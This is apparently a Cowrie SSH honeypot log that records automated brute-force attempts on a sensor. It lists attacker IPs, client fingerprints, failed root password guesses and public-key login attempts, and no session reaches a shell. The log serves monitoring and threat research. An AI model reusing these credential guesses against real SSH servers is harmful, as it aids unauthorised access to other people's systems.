{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:38.309483Z","src_ip":"192.169.243.246","session":"1f5db8b242c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:38.644074Z","src_ip":"192.169.243.246","session":"1f5db8b242c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:39.724011Z","src_ip":"192.169.243.246","session":"1f5db8b242c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":39866,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b908f34b591","protocol":"ssh","message":"New connection: 95.58.255.251:39866 (10.17.0.5:22) [session: 6b908f34b591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:44.726644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:44.731486Z","src_ip":"95.58.255.251","session":"6b908f34b591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:44.897770Z","src_ip":"95.58.255.251","session":"6b908f34b591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345679","message":"login attempt [root/12345679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:45.592313Z","src_ip":"95.58.255.251","session":"6b908f34b591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:10:46.760378Z","src_ip":"95.58.255.251","session":"6b908f34b591","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":60598,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5aa0750506f","protocol":"ssh","message":"New connection: 43.162.109.147:60598 (10.17.0.5:22) [session: a5aa0750506f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:10.415324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:10.420446Z","src_ip":"43.162.109.147","session":"a5aa0750506f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:10.488537Z","src_ip":"43.162.109.147","session":"a5aa0750506f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sg1424guad12","message":"login attempt [root/sg1424guad12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:10.789787Z","src_ip":"43.162.109.147","session":"a5aa0750506f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:11.860112Z","src_ip":"43.162.109.147","session":"a5aa0750506f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.172.88.206","src_port":54816,"dst_ip":"10.17.0.5","dst_port":22,"session":"42154ab1a5c3","protocol":"ssh","message":"New connection: 107.172.88.206:54816 (10.17.0.5:22) [session: 42154ab1a5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:29.138206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:29.142566Z","src_ip":"107.172.88.206","session":"42154ab1a5c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:29.163852Z","src_ip":"107.172.88.206","session":"42154ab1a5c3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:fc:9b:f3:7f:01:cb:74:8d:48:60:f4:f3:8f:07:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDK+DCtiGxm5mCGqseGDW9gVcqGDFLsygkxHqbWbU2Sla3hLU/3yvkUkfqP9BEM0Vmmd12Yagwetf3YUMAyA+vwTdd6jfCdOlZxh/F5Tsw2uWX/POrQWRH17kZ/jYtp/komzssYm9MY/IUZc6rXIBmLbLM/OZ6pkrcRsredQMXts28IunTaXxDH8Bor5FTrbJUb9PLkw0xc1mjKvYlb22mYRIbmhL2r4RdgykHPqUEY+TAMZtrolJZ5JwMmRThvoxU/SWmfEK0BNXnWHnddCqLwBSMknF/QP1HVJG8i+pqLcdGhl/9cEzQG7AO5z9GuEbnzp3QpUFpwblB7jkDb/xq8JyTBT8uO1XbXpht4WEB0oiFXfxdPc1nsAdQyFcm1pt+4xI6qD2Nx7ycfzXzwz2QeiLP2tdreUyXijHDNjSoHG/OOtb1WL1rb3c6PTw3q6Y6Y4refMrgy/JwyEWvjDLezE64srTJz58KKSGR7hL5aelSt7NHKGjfyeiXZehSbXWc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:fc:9b:f3:7f:01:cb:74:8d:48:60:f4:f3:8f:07:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:29.239378Z","src_ip":"107.172.88.206","session":"42154ab1a5c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:fc:9b:f3:7f:01:cb:74:8d:48:60:f4:f3:8f:07:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDK+DCtiGxm5mCGqseGDW9gVcqGDFLsygkxHqbWbU2Sla3hLU/3yvkUkfqP9BEM0Vmmd12Yagwetf3YUMAyA+vwTdd6jfCdOlZxh/F5Tsw2uWX/POrQWRH17kZ/jYtp/komzssYm9MY/IUZc6rXIBmLbLM/OZ6pkrcRsredQMXts28IunTaXxDH8Bor5FTrbJUb9PLkw0xc1mjKvYlb22mYRIbmhL2r4RdgykHPqUEY+TAMZtrolJZ5JwMmRThvoxU/SWmfEK0BNXnWHnddCqLwBSMknF/QP1HVJG8i+pqLcdGhl/9cEzQG7AO5z9GuEbnzp3QpUFpwblB7jkDb/xq8JyTBT8uO1XbXpht4WEB0oiFXfxdPc1nsAdQyFcm1pt+4xI6qD2Nx7ycfzXzwz2QeiLP2tdreUyXijHDNjSoHG/OOtb1WL1rb3c6PTw3q6Y6Y4refMrgy/JwyEWvjDLezE64srTJz58KKSGR7hL5aelSt7NHKGjfyeiXZehSbXWc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:29.242472Z","src_ip":"107.172.88.206","session":"42154ab1a5c3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:58:66:e8:c8:0c:5c:82:ad:47:27:bf:22:a0:61:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIAKLraoJMS5hPSWx4SAkIwaBhX49X2a4iix5wQgIAUcZf0ZpstZYgPfAuk0QV8mi75j5QeJe5XtL/4GuprWXz14JsaHSoZZgMrAtpUcbZ/PlUpWYlO8FxxbFF6HN93Ufm1cXAARm9gv8oHSCWz5Fj1kBSHmpu5jYk3N0i4iqHlCOWn8K9Q//grNngOq97UIs+r1kARuKZKWf/aN0Mp0ZE+1jf8MRoRnU2V9ix5S8dRoniY2BmlQl5UtEOuZAD5hil71/CD8sIv1SL+/A1xawz84QKIl+IeZXuXMMChMbBOYkJWxIk1rM8y2phGXyKHBg9EYQsb7kdi99jGiI2dqRZbkaS4PrsMhN/AI766q4JSuRKzWL857dR8P4IMkYQRCgueP9GVP17nY1y4SWBz6zwUvMhAFO05Us6aVT/L8VpShYkPAZ7TWeE5gN7mCV3pqXkxhx9sLnPpzFYyaGczBXs7ktLGcAuGpiputUct6ENEIWtuFscNx8rCs/2+axtb5UsXg2M5GibH/ckXh8IxtzdIsh0LKDBp1oeqooGwP3oxkX7ayP3SlQqMY8+vI8oGMMFFLA6ijibl8VuMbdr4hjHKZ42RH1AUrLF1Gg0PPyTxBOksJIR2SuiRYIgR/v6gzOvl6fWPM1lmWkj4pSntuvw2NtolQb5R0yk41tfZ43jLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:58:66:e8:c8:0c:5c:82:ad:47:27:bf:22:a0:61:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:29.265386Z","src_ip":"107.172.88.206","session":"42154ab1a5c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:58:66:e8:c8:0c:5c:82:ad:47:27:bf:22:a0:61:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIAKLraoJMS5hPSWx4SAkIwaBhX49X2a4iix5wQgIAUcZf0ZpstZYgPfAuk0QV8mi75j5QeJe5XtL/4GuprWXz14JsaHSoZZgMrAtpUcbZ/PlUpWYlO8FxxbFF6HN93Ufm1cXAARm9gv8oHSCWz5Fj1kBSHmpu5jYk3N0i4iqHlCOWn8K9Q//grNngOq97UIs+r1kARuKZKWf/aN0Mp0ZE+1jf8MRoRnU2V9ix5S8dRoniY2BmlQl5UtEOuZAD5hil71/CD8sIv1SL+/A1xawz84QKIl+IeZXuXMMChMbBOYkJWxIk1rM8y2phGXyKHBg9EYQsb7kdi99jGiI2dqRZbkaS4PrsMhN/AI766q4JSuRKzWL857dR8P4IMkYQRCgueP9GVP17nY1y4SWBz6zwUvMhAFO05Us6aVT/L8VpShYkPAZ7TWeE5gN7mCV3pqXkxhx9sLnPpzFYyaGczBXs7ktLGcAuGpiputUct6ENEIWtuFscNx8rCs/2+axtb5UsXg2M5GibH/ckXh8IxtzdIsh0LKDBp1oeqooGwP3oxkX7ayP3SlQqMY8+vI8oGMMFFLA6ijibl8VuMbdr4hjHKZ42RH1AUrLF1Gg0PPyTxBOksJIR2SuiRYIgR/v6gzOvl6fWPM1lmWkj4pSntuvw2NtolQb5R0yk41tfZ43jLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:29.269823Z","src_ip":"107.172.88.206","session":"42154ab1a5c3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:01:a6:09:c3:02:e0:7a:4c:b6:15:fe:27:9a:ed:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvF3mwuP1rbc7iq4qKx3I/c7hGcVS0LO1Ce2tbcVGq7Mz9ttqXC7e0vvW2pzrvUbV4T/h5Z8FOB7Aw3D9ksW6g1Z0jO9WqqYtZXO5HFtFD7jdN5jdNCcfGencYLeoFFjCN/m0+vLuZwo5Ilx/o6xYOyBHLvspTg9RpL8eYxUhnyZJPBb+9Mtowr1qsYI0bFeP7ETT6H4KPYtEnVf2u90xjWWXeCRxf/YGj1p+mvvYNF+2yZlklUUNiNTrSzk1LYo2V2w4MiHej60myc4H/oLvsfC1LsAF3iiU6tn646gRYb74X55A5qx2sfKb3p7hjj4MAAlsv8ll6RWTH8Mrtq+QB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:01:a6:09:c3:02:e0:7a:4c:b6:15:fe:27:9a:ed:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:29.290216Z","src_ip":"107.172.88.206","session":"42154ab1a5c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:01:a6:09:c3:02:e0:7a:4c:b6:15:fe:27:9a:ed:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvF3mwuP1rbc7iq4qKx3I/c7hGcVS0LO1Ce2tbcVGq7Mz9ttqXC7e0vvW2pzrvUbV4T/h5Z8FOB7Aw3D9ksW6g1Z0jO9WqqYtZXO5HFtFD7jdN5jdNCcfGencYLeoFFjCN/m0+vLuZwo5Ilx/o6xYOyBHLvspTg9RpL8eYxUhnyZJPBb+9Mtowr1qsYI0bFeP7ETT6H4KPYtEnVf2u90xjWWXeCRxf/YGj1p+mvvYNF+2yZlklUUNiNTrSzk1LYo2V2w4MiHej60myc4H/oLvsfC1LsAF3iiU6tn646gRYb74X55A5qx2sfKb3p7hjj4MAAlsv8ll6RWTH8Mrtq+QB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:29.293833Z","src_ip":"107.172.88.206","session":"42154ab1a5c3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:53:d9:45:7d:24:d3:7e:89:35:59:4a:c7:51:99:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeV0wUcDK1Kty4snr1Kt/xRrwHj3l2DTKSOQgobASzP+rHW/V8kOGCSwuhfEenfqSJYlAERlwzozApxNKOHU+0COf3O+Ed8390s/e9INf7g0DoRuVNZC6H75WdPnQgpRLozdNhFCTmI3xS4tlIaiU9eaclr/2B51EbHRSOYacd37kNoVVQYCKiQNhjGet79jd/bng3b0qn4Ifa6nCWv+eE9lRUSALm8aAWgYGT121YuoQ/dVLvXcVhQvQa7qMsBGX/1XAlqDKPE7SpxmWgjFCkGvDDW3piuCkvcafGpjxttCnk8DVcmNncJKo3ZycfxHlvJPU0nU5IKkZ5gw9grqEXkmebYjfW8BdTl7X6BuPjGhhfwA/cu5+qOb3NtePgGOuM0mU0qZKuBp4woLuQ9MsiKUrhxlYJFqkd2KOijtSEchxiYQazXgTDJqD3yfDDUOzX2SXTH99/t2od+RGqE6xTB1y3I3e8HYCePie6yoO9bwCpJPLZGgOtvDA/R/oewO3KVSmjMZT/nfoxrsz0nMXNAozABFaOEYk9v09zosM317zWcZkGpNqBCWNNVkGNzR38mKY2I6v+83yzbXxxcnrOwuK6N8QrpI+mX8bRu4KHxdow1vr0N+jqhUNs79tw60PdplRfTlUPgSZWGCNslKW/ugkzqxpyKizsmjQYB8+4rQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:53:d9:45:7d:24:d3:7e:89:35:59:4a:c7:51:99:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:29.313250Z","src_ip":"107.172.88.206","session":"42154ab1a5c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:53:d9:45:7d:24:d3:7e:89:35:59:4a:c7:51:99:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeV0wUcDK1Kty4snr1Kt/xRrwHj3l2DTKSOQgobASzP+rHW/V8kOGCSwuhfEenfqSJYlAERlwzozApxNKOHU+0COf3O+Ed8390s/e9INf7g0DoRuVNZC6H75WdPnQgpRLozdNhFCTmI3xS4tlIaiU9eaclr/2B51EbHRSOYacd37kNoVVQYCKiQNhjGet79jd/bng3b0qn4Ifa6nCWv+eE9lRUSALm8aAWgYGT121YuoQ/dVLvXcVhQvQa7qMsBGX/1XAlqDKPE7SpxmWgjFCkGvDDW3piuCkvcafGpjxttCnk8DVcmNncJKo3ZycfxHlvJPU0nU5IKkZ5gw9grqEXkmebYjfW8BdTl7X6BuPjGhhfwA/cu5+qOb3NtePgGOuM0mU0qZKuBp4woLuQ9MsiKUrhxlYJFqkd2KOijtSEchxiYQazXgTDJqD3yfDDUOzX2SXTH99/t2od+RGqE6xTB1y3I3e8HYCePie6yoO9bwCpJPLZGgOtvDA/R/oewO3KVSmjMZT/nfoxrsz0nMXNAozABFaOEYk9v09zosM317zWcZkGpNqBCWNNVkGNzR38mKY2I6v+83yzbXxxcnrOwuK6N8QrpI+mX8bRu4KHxdow1vr0N+jqhUNs79tw60PdplRfTlUPgSZWGCNslKW/ugkzqxpyKizsmjQYB8+4rQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:29.318037Z","src_ip":"107.172.88.206","session":"42154ab1a5c3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:c0:38:c5:90:be:4e:92:58:ab:ec:64:d4:f8:3c:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1fpXgjzXhgz2PZ35jEFHZ5H8AbvsrBTeOA8a4/ZdHhv11g513H9yteBtGdKfNrB3O0obQ/Kg0kGY+yMH93DTICzYsRfkqobEWVznKcZEQ/yVmuYP3wj1sBlFPFP4SDHAU18TfxmlrUoj/Dn4VFmu02FMHxEGKa8Onr5hr+u9LHIP7AE0l6Buen/c8N91Ki2Ry60aGom5k51C6BYkrYibx6M4v5TLey2Nl5FAMiUog2MSdTcHHBXWQ6CZoPFx7zUC9dzCohjvOmr+hz9fcGVtkkr6WTFqI6EOkoD7KG71W475pBivMQmzBYzmBAmW1vGObyLdaI72HJO6nq9JODYf3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:c0:38:c5:90:be:4e:92:58:ab:ec:64:d4:f8:3c:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:29.340574Z","src_ip":"107.172.88.206","session":"42154ab1a5c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:c0:38:c5:90:be:4e:92:58:ab:ec:64:d4:f8:3c:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1fpXgjzXhgz2PZ35jEFHZ5H8AbvsrBTeOA8a4/ZdHhv11g513H9yteBtGdKfNrB3O0obQ/Kg0kGY+yMH93DTICzYsRfkqobEWVznKcZEQ/yVmuYP3wj1sBlFPFP4SDHAU18TfxmlrUoj/Dn4VFmu02FMHxEGKa8Onr5hr+u9LHIP7AE0l6Buen/c8N91Ki2Ry60aGom5k51C6BYkrYibx6M4v5TLey2Nl5FAMiUog2MSdTcHHBXWQ6CZoPFx7zUC9dzCohjvOmr+hz9fcGVtkkr6WTFqI6EOkoD7KG71W475pBivMQmzBYzmBAmW1vGObyLdaI72HJO6nq9JODYf3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:29.344539Z","src_ip":"107.172.88.206","session":"42154ab1a5c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:29.371369Z","src_ip":"107.172.88.206","session":"42154ab1a5c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":58126,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9583c2d6c3a","protocol":"ssh","message":"New connection: 192.169.243.246:58126 (159.203.135.109:22) [session: b9583c2d6c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:54.256924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:11:54.261165Z","src_ip":"192.169.243.246","session":"b9583c2d6c3a","protocol":"ssh"}
